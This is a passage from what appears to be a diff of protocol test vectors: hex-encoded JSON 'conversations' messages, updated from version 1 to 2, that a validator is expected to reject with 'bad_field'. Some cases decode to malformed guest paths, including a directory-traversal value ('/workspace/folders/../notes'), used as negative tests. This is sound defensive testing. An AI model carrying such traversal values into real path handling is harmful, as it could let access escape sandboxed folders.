26d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a22796f6c6f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-dotdot", "direction": "down", - "hex": "574d583101010000010000003c0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000790600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2e2e2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-empty-component", "direction": "down", - "hex": "574d583101010000010000003a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f2f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-relative", "direction": "down", - "hex": "574d58310101000001000000380600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a22776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-view-not-allowed", "direction": "down", - "hex": "574d58310101000001000000370600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000740600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f6f746865722f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-root-folders-without-name", "direction": "down", - "hex": "574d58310101000001000000330600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222